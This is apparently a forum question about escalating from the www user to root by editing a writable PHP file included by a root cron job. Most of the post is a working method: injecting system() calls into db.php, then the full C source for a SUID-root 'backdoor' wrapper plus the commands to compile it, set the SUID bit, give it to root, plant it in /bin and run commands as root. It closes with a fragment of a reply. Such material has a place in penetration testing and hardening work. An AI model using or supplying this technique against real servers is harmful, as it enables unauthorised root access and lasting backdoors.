There is a cron job running as root
on a web server every 15 minutes:
php cli-script.php
(cli stands for "Command Line Interface", so is only accessible from command-line)
It is not possible to directly modify the PHP script cli-script.php
. Hower it includes another PHP script db.php
which can be directly modifed as www
user:
cli-script.php:
include "db.php";
...
My exploitation technique:
- Modify
db.php
- addsystem()
command sincedb.php
inheritsroot's
privileges from cron job's script, but can be edited aswww
-user (db.php
is Writable, Readable and Executable aswww
user). Run all initial commands throughsystem()
- Create binary wrapper
backdoor
for easier further exploitation. We need to set UID to zero (root
) to be able to use shells likebash
/sh
(SUID not used after exploit) (another way would be to use e.g. perl/python scripts)
db.php
...
system("...");
...
backdoor.c:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
int main(int argc, char *argv[]) {
if (argc == 2) {
setuid(0); // otherwise /bin/sh would use real UID
system(argv[1]);
} else {
printf("1 argument expected");
}
return 0;
}
Detailed steps:
- Compile C-code as
www
-user:gcc backdoor.c -o backdoor
- Put sticky bit + change file owner as
root
:chmod +s backdoor && chown root backdoor
- Put binary into
/bin/
directory asroot
:mv backdoor /bin/backdoor
- Usage (execute as
www
-user):backdoor "whoami"
=>root
Question: Is there any simpler way to exploit such vulnerability and I'm just overcomplicating everything?
cli-script.php
. Editing the file it includes which you do have access to is the only option.